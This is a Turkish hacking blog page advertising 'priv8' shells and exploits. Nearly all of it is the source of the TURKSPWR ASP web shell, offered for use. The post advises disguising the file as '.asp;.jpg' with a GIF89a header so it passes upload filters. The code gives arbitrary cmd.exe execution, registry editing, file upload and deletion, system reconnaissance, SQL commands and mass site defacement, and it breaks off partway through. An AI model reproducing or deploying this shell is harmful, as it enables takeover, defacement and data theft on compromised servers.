Priv8 King , Priv8 , 0day exploit , priv8 shell , backlink , hacklink , hack , security , priv8

Yeni Yemamız Hakkında

Yeni Yemamız Hakkında

Yeni Temamız Hakkında Neler Düşünüyorsunuz Bir Tema Koyalım Dedik Ortaya Bu Sonuç Çıktı Bundan Sonra Paylaşımlar Dağa Çok Artıcaktır..

Devamı »

Priv8 Shell

Priv8 Shell

[IMG]http://l1310.hizliresim.com/1g/z/u2yq2.png[/IMG] Güzel Bir Priv8 Shell İle Karşınızdayım, Yapımı 1 Ay Sürdü Tabikide Benim İçin Zorlan...

Devamı »

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" /></a></div>
<div style="text-align: center;">
Kullanışlı ve güzel bir shelldir .  </div>
<div style="text-align: center;">
Özellikleri ; Mass ve Single , Upload Toplu upload  , dosya edit silme vs vs</div>
<div style="text-align: center;">
Kodları:  </div>
<div style="text-align: center;">
.</div>
<div style="text-align: center;">
.</div>
<div style="text-align: center;">
.</div>
<div style="text-align: center;">
.</div>
<div style="text-align: center;">
Kaydederken örn : turkspwr.asp;.jpg olarak kaydedın veya turkspwr.asp </div>
<div style="text-align: center;">
___</div>
<div style="text-align: center;">
GIF89a; <%@ LANGUAGE = VBScript.Encode%> <%//**Start Encode On Error Resume Next Dim myFSO,showdisks Set myFSO = CreateObject ("Scripting.FileSystemObject") showdisks=FALSE Server.ScriptTimeOut = 7200 Class FileUploader Public Files Private mcolFormElem Private Sub Class_Initialize() Set Files = Server.CreateObject("Scripting.Dictionary") Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") End Sub Private Sub Class_Terminate() If IsObject(Files) Then Files.RemoveAll() Set Files = Nothing End If If IsObject(mcolFormElem) Then mcolFormElem.RemoveAll() Set mcolFormElem = Nothing End If End Sub Public Property Get Form(sIndex) Form = "" If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) End Property Public Default Sub Upload() Dim biData, sInputName Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos Dim nPosFile, nPosBound biData = Request.BinaryRead(Request.TotalBytes) nPosBegin = 1 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) If (nPosEnd-nPosBegin) <= 0 Then Exit Sub vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) nDataBoundPos = InstrB(1, biData, vDataBounds) Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) nPos = InstrB(nPos, biData, CByteString("name=")) nPosBegin = nPos + 6 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) nPosBound = InstrB(nPosEnd, biData, vDataBounds) If nPosFile <> 0 And nPosFile < nPosBound Then Dim oUploadFile, sFileName Set oUploadFile = New UploadedFile nPosBegin = nPosFile + 10 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) nPosBegin = nPos + 14 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosBegin = nPosEnd+4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile Else nPos = InstrB(nPos, biData, CByteString(Chr(13))) nPosBegin = nPos + 4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) End If nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) Loop End Sub Private Function CByteString(sString) Dim nIndex For nIndex = 1 to Len(sString) CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) Next End Function Private Function CWideString(bsString) Dim nIndex CWideString ="" For nIndex = 1 to LenB(bsString) CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) Next End Function End Class Class UploadedFile Public ContentType Public FileName Public FileData Public Property Get FileSize() FileSize = LenB(FileData) End Property Public Sub SaveToDisk(sPath) Dim oFS, oFile Dim nIndex If sPath = "" Or FileName = "" Then Exit Sub If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" Set oFS = Server.CreateObject("Scripting.FileSystemObject") If Not oFS.FolderExists(sPath) Then Exit Sub Set oFile = oFS.CreateTextFile(sPath & FileName, True) For nIndex = 1 to LenB(FileData) oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) Next oFile.Close End Sub Public Sub SaveToDatabase(ByRef oField) If LenB(FileData) = 0 Then Exit Sub If IsObject(oField) Then oField.AppendChunk FileData End If End Sub End Class startcode = "<html><head><title>.:: TURKSPWR Asp Shell - SPYTURK.OCM ::.</title></head><body>" endocde = "</body></html>" onlinehelp = ".:: <a href=""http://spyturk.com"" target=""_blank"">ONLINE HELP</a> ::. " Function HexConv(hexVar) Dim hxx, hxx_var, multiply IF hexVar <> "" THEN hexVar = UCASE(hexVar) hexVar = StrReverse(hexVar) DIM hx() REDIM hx(LEN(hexVar)) hxx = 0 hxx_var = 0 FOR hxx = 1 TO LEN(hexVar) IF multiply = "" THEN multiply = 1 hx(hxx) = mid(hexVar,hxx,1) hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var multiply = (multiply * 16) NEXT hexVar = hxx_var HexConv = hexVar END IF End Function cprthtml = ".:: TURKSPWR ASP ::." Function get_hxno(ghx) If ghx = "A" Then ghx = 10 ElseIf ghx = "B" Then ghx = 11 ElseIf ghx = "C" Then ghx = 12 ElseIf ghx = "D" Then ghx = 13 ElseIf ghx = "E" Then ghx = 14 ElseIf ghx = "F" Then ghx = 15 End If get_hxno = ghx End Function keydec=".:: TURKSPWR SHELL &copy; BY <a href='mailto:'>TURKSPWR</a> - <a href='' target='_blank'></a> ::." Function showobj(objpath) showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath)) End Function Function showobjpath(objpath) showobjpath = Left(objpath,InstrRev(objpath,"\")) End Function Function checking(a,b) ' If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then ' pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error" ' Response.Redirect(pagina) ' End If End Function Sub hdr() Response.Write startcode Response.Write keydec Response.Write " " End Sub sub araBul(path_,ara_) on error resume next If Len(path_) > 0 Then cur = path_&"\" If cur = "\\" Then cur = "" parent = "" If InStrRev(cur,"\") > 0 Then parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) End If Else cur = "" End If Set f = myFSO.GetFolder(cur) Set fc = f.Files For Each f1 In fc if lcase(InStr(1,f1.name,lcase(ara_)))>0 then downStr = "<a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(f1.path,"\","|") &"'>?/a>" if lcase(ara_)="mdb" then Response.Write downStr&"<a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>?/a> * <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=7&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]"&"</a> " else Response.Write downStr&"<a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>?/a><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(f1.path,"\","|") &"'>!</a> - <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=5&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]</a> " end if end if Next Set fs = f.SubFolders For Each f1 In fs araBul f1.path,ara_ Next Set f = Nothing Set fc = Nothing Set fs = Nothing end sub Sub showcontent() showdisks=TRUE Response.Write ".:: <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::. .:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & " " If Trim(Request.QueryString("raiz")) = "root" Then Set fs=Server.Createobject("Scripting.FileSystemObject") Set drivecollection=fs.drives Response.Write "" For Each drive IN drivecollection str=drive.driveletter & ":" Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a> " Select Case drive.DriveType Case 0 tipodrive = "Unknown" nomedrive = drive.VolumeName Case 1 tipodrive = "Removable" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 2 tipodrive = "Fixed" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 3 tipodrive = "Network" If drive.isready Then nomedrive = drive.ShareName Else nomedrive = "" End If Case 4 tipodrive = "CD-Rom" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 5 tipodrive = "RAM Disk" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If End Select response.write "Type: " & tipodrive & " " response.write "Name: " & nomedrive & " " response.write "File System: " If drive.isready Then set sp=fs.getdrive(str) response.write sp.filesystem & " " Else response.write "- " End If Response.Write "Disk Space: " If drive.isready Then freespace = (drive.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB ") Else response.write("- ") End If Response.Write "Total Space: " If drive.isready Then totalspace = (drive.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB ") Else response.write("- ") End If Response.Write " " Next Response.Write "" Set fs = Nothing Set drivecollection = Nothing set sp=Nothing Else If Trim(Request.QueryString("raiz")) = "" Then caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) pos = Instr(caminho,"\") pos2 = 1 While pos2 <> 0 If Instr(pos + 1,caminho,"\") <> 0 Then pos = Instr(pos + 1,caminho,"\") Else pos2 = 0 End If Wend raiz = Left(caminho,pos) Else raiz = trim(Request.QueryString("raiz")) & "\" End If Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MonRep = ObjFSO.GetFolder(raiz) Set ColFolders = MonRep.SubFolders Set ColFiles0 = MonRep.Files Response.Write "<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=test&path=" & Replace(raiz,"\","|") & "', 'win1','width=600,height=300,scrollbars=YES,resizable')"">Toplu Deneme " & UCase(raiz) & "</a> " Response.Write "<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc&path=" & Replace(raiz,"\","|") & "', 'win1','width=700,height=300,scrollbars=YES,resizable')"">Toplu Deface " & UCase(raiz) & "</a> " Response.Write "<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">Dosya Yukleme " & UCase(raiz) & "</a> " Response.Write "" Response.Write "<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=450,height=200,scrollbars=YES,resizable')"">Komut</a>" Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width=760,height=450,scrollbars=YES,resizable')"">Sistem Bilgisi</a>" Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=550,height=200,scrollbars=YES,resizable')"">Kayit Defteri</a>" Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=search&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">Arama</a>" Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver', 'win1','width=550,height=150,scrollbars=YES,resizable')"">Sql Komutu</a>" Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=about', 'win1','width=550,height=250,scrollbars=YES,resizable')"">Hakkynda</a>" Response.Write " " Response.Write "Ana Dizin: " & raiz & " " If CInt(Len(raiz) - 1) <> 2 Then barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1 backlevel = Left(raiz,barrapos) Response.Write "&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & backlevel & "'> . . </a> " Else Response.Write "&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root'> . .&nbsp;</a> " End If Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >" for each folderItem in ColFolders Response.Write "<tr><td>&lt;DIR&gt; <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & folderItem.path & "'>" & showobj(folderItem.path) & "</a></td><td valign='baseline'>&nbsp;&nbsp;<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=250,scrollbars=YES,resizable')"">&lt;&lt; Git</a></td>" Response.Write "<td valign='baseline'>&nbsp;&nbsp;<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=100,scrollbars=YES,resizable')"">&lt;&lt; Kopyala/Tasi</a></td>" Response.Write "<td valign='baseline'>&nbsp;&nbsp;<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fdel&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=150,scrollbars=YES,resizable')"">&lt;&lt; Sil</a></td></tr>" next Response.Write "</table> <table border=""0"" cellspacing=""0"" cellpadding=""0"" >" marcatabela = true for each FilesItem0 in ColFiles0 If marcatabela = true then corfundotabela = " bgcolor=""#EEEEEE""" Else corfundotabela = "" End If Response.Write "<tr><td" & corfundotabela & ">:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.Indir.o</a></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.Isym Degis.o</a></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.Sil.o</a></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtview&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=640,height=480,scrollbars=YES,resizable')"">o.Gor.o</a></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=760,height=520,scrollbars=YES,resizable')"">o.Duzenle.o</a></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(FilesItem0.path,"\","|") & """>o.Indir.o</a></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<a target='opener' href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy&file=" & Replace(FilesItem0.path,"\","|") & """>o.Kopyala.o</a></td></tr>" marcatabela = NOT marcatabela next Response.Write "</table>" End If End Sub Select Case Trim(Request.QueryString("action")) Case "get" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp caminho = Replace(Trim(Request.QueryString("path")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) MyFile.Copy (destino) If Err.Number = 0 Then Response.Write "<center> File: " & caminho & " Copied to: " & destino End If Case "put" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp If Trim(Request.QueryString("arquivo")) = "" Then caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) varpath = Trim(Request.QueryString("path")) Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MonRep = ObjFSO.GetFolder(caminho) Set ColFolders = MonRep.SubFolders Set ColFiles0 = MonRep.Files Response.Write "Select File: <table border=""0"" cellspacing=""0"" cellpadding=""0"" >" for each FilesItem0 in ColFiles0 Response.Write "<tr><td>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</td><td valign='baseline'>&nbsp;&nbsp;<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&arquivo=" & Replace(FilesItem0.path,"\","|") & """>:: SELECT ::</a></td></tr>" next Response.Write "</table>" Else destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\" arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(arquivo) MyFile.Copy (destino) If Err.Number = 0 Then Response.Write "<center> File: " & arquivo & " Copied to: " & destino End If End If Case "del" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp caminho = Replace(Trim(Request.QueryString("path")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) MyFile.Delete If Err.Number = 0 Then Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>" Response.Write "<center> Folder " & caminho & " Deleted. " End If Case "fdel" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp caminho = Replace(Trim(Request.QueryString("path")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") ObjFSO.DeleteFolder caminho If Err.Number = 0 Then Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>" Response.Write "<center> File " & caminho & " Deleted. " End If Case "ren" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp If Trim(Request.QueryString("status")) <> "2" Then caminho = Replace(Trim(Request.QueryString("path")),"|","\") arquivo = showobj(caminho) Response.Write " " & arquivo & " " & _ "<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _ "<input type=""hidden"" name=""action"" value=""ren"">" & _ "<input type=""hidden"" name=""status"" value=""2"">" & _ "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _ "New Name: <input type=""text"" name=""newname"">" & _ "&nbsp;&nbsp;<input type=""submit"" value=""Submit"">" & _ "</form>" Else caminho = Replace(Trim(Request.QueryString("path")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname")) MyFile.Move (destino) If Err.Number = 0 Then Response.Write "<center> Arquivo: " & caminho & " renomeado para: " & destino Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>" End If End If Case "error" Response.Write "<center> C?IGO CORROMPIDO CORRUPT CODE</center>" Case "cmd" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.QueryString(".CMD") If (szCMD <> "") Then szTempFile = "c:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET""><input type=""hidden"" name=""action"" value=""cmd""><input type=text name="".CMD"" size=45 value=""" & szCMD & """><input type=submit value=""Run""></FORM> " If (IsObject(oFile)) Then On Error Resume Next Response.Write "" Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf," ")," ","&nbsp;") oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If Case "info" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set WshNetwork = Server.CreateObject("WScript.Network") Set WshShell = Server.CreateObject("WScript.Shell") Set WshEnv = WshShell.Environment("SYSTEM") Response.Write " " Response.Write "User Properties: " Response.Write "UserName: " & WshNetwork.UserName & " " Response.Write "Computer Name: " & WshNetwork.ComputerName & " " Response.Write "User Domain: " & WshNetwork.UserDomain & " " Set Drives = WshNetwork.EnumNetworkDrives For i = 0 to Drives.Count - 1 Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & " " Next Response.Write " Cpu Information: " Response.Write "Processor Architecture: " & WshEnv("PROCESSOR_ARCHITECTURE") & " " Response.Write "Number Of Processors: " & WshEnv("NUMBER_OF_PROCESSORS") & " " Response.Write "Processor Identifier: " & WshEnv("PROCESSOR_IDENTIFIER") & " " Response.Write "Processor Level: " & WshEnv("PROCESSOR_LEVEL") & " " Response.Write "Processor Revision: " & WshEnv("PROCESSOR_REVISION") & " " Response.Write " Operating System Information: " Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & " " Response.Write "Sistem OS: " & WshEnv("OS") & " " Response.Write "Server Software: " & request.servervariables("SERVER_SOFTWARE") & " " Response.Write "Cmd Path: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & " " Response.Write "Public Paths: " & WshEnv("PATH") & " " Response.Write "Executables: " & WshEnv("PATHEXT") & " " Response.Write "Prompt: " & WshEnv("PROMPT") & " " Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & " " Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & " " Response.Write "System32 Path: " & WshShell.CurrentDirectory & " " Set Drives = Nothing Set WshNetwork = Nothing Set WshShell = Nothing Set WshEnv = Nothing Case "reg" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set WshShell = Server.CreateObject("WScript.Shell") Response.Write " Registry Editor: " Select Case Trim(Request.QueryString("regaction")) Case "w" If Trim(Request.QueryString("process")) = "yes" Then Select Case Trim(Request.QueryString("type")) Case "1" teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ") Case "2" teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD") Case "3" teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY") Case "4" teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ") Case "5" teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ") End Select Response.Write "<center> Registry " Response.Write Trim(Request.QueryString("key")) & " Changed.</center>" Response.Write " <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a> " Else Response.Write "<table><tr><td>ROOT KEY NAME</td><td>ABREVIA?O</td></tr>" Response.Write "<tr><td>HKEY_CURRENT_USER </td><td> HKCU </td></tr>" Response.Write "<tr><td>HKEY_LOCAL_MACHINE </td><td> HKLM </td></tr>" Response.Write "<tr><td>HKEY_CLASSES_ROOT </td><td> HKCR </td></tr>" Response.Write "<tr><td>HKEY_USERS </td><td> HKEY_USERS </td></tr>" Response.Write "<tr><td>HKEY_CURRENT_CONFIG </td><td> HKEY_CURRENT_CONFIG </td></tr></table> " Response.Write "<table><tr><td>Type </td><td> Description </td><td> Figure </td></tr>" Response.Write "<tr><td>REG_SZ </td><td> String </td><td> String </td></tr>" Response.Write "<tr><td>REG_DWORD </td><td> Number </td><td> DWORD </td></tr>" Response.Write "<tr><td>REG_BINARY </td><td> Binary </td><td> VBArray DWORD </td></tr>" Response.Write "<tr><td>REG_EXPAND_SZ </td><td> String Expand (ex. ""%windir%\\calc.exe"") </td><td> String </td></tr>" Response.Write "<tr><td>REG_MULTI_SZ </td><td> Array Of Strings </td><td> VBArray Of Strings </td></tr></table>" Response.Write " <FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">" Response.Write "<table><tr><td>KEY: </td><td><input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )</td></tr>" Response.Write "<tr><td>VALUE:</td><td><input type=""text"" name=""value""></td></tr>" Response.Write "<tr><td>TYPE:</td><td><SELECT NAME=""type"">" Response.Write "<OPTION VALUE=""1"">REG_SZ </option>" Response.Write "<OPTION VALUE=""2"">REG_DWORD </option>" Response.Write "<OPTION VALUE=""3"">REG_BINARY </option>" Response.Write "<OPTION VALUE=""4"">REG_EXPAND_SZ </option>" Response.Write "<OPTION VALUE=""5"">REG_MULTI_SZ </option></select> " Response.Write "<input type=""hidden"" name=""regaction"" value=""w"">" Response.Write "<input type=""hidden"" name=""action"" value=""reg"">" Response.Write "<input type=""hidden"" name=""process"" value=""yes""></td></tr>" Response.Write "<tr><td></td><td><input type=""submit"" value=""OK""></form></td></tr></table>" Response.Write " <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a> " End If Case "r" If Trim(Request.QueryString("process")) = "yes" Then Response.Write "" & Trim(Request.QueryString("key")) & " " Response.Write "Value: " & WshShell.RegRead (Trim(Request.QueryString("key"))) Else Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">" Response.Write "KEY: <input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId ) " Response.Write "<input type=""hidden"" name=""regaction"" value=""r"">" Response.Write "<input type=""hidden"" name=""action"" value=""reg"">" Response.Write "<input type=""hidden"" name=""process"" value=""yes"">" Response.Write "<input type=""submit"" value=""OK""></form>" End If Response.Write " <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a> " Case "d" If Trim(Request.QueryString("process")) = "yes" Then teste = WshShell.RegDelete (Trim(Request.QueryString("key"))) Response.Write "Chave " & Trim(Request.QueryString("key")) & " Deleted." Else Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">" Response.Write "KEY: <input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId ) " Response.Write "<input type=""hidden"" name=""regaction"" value=""d"">" Response.Write "<input type=""hidden"" name=""action"" value=""reg"">" Response.Write "<input type=""hidden"" name=""process"" value=""yes"">" Response.Write "<input type=""submit"" value=""OK""></form>" End If Response.Write " <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a> " Case Else Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=w"">WRITE VALUE</a> " Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=r"">READ VALUE</a> " Response.Write "<a, href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=d"">DELETE KEY</a> " End Select Set WshShell = Nothing Case "txtview" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp & "" file = Replace(Trim(Request.QueryString("file")),"|","\") Set fso = CreateObject("Scripting.FileSystemObject") Set a = 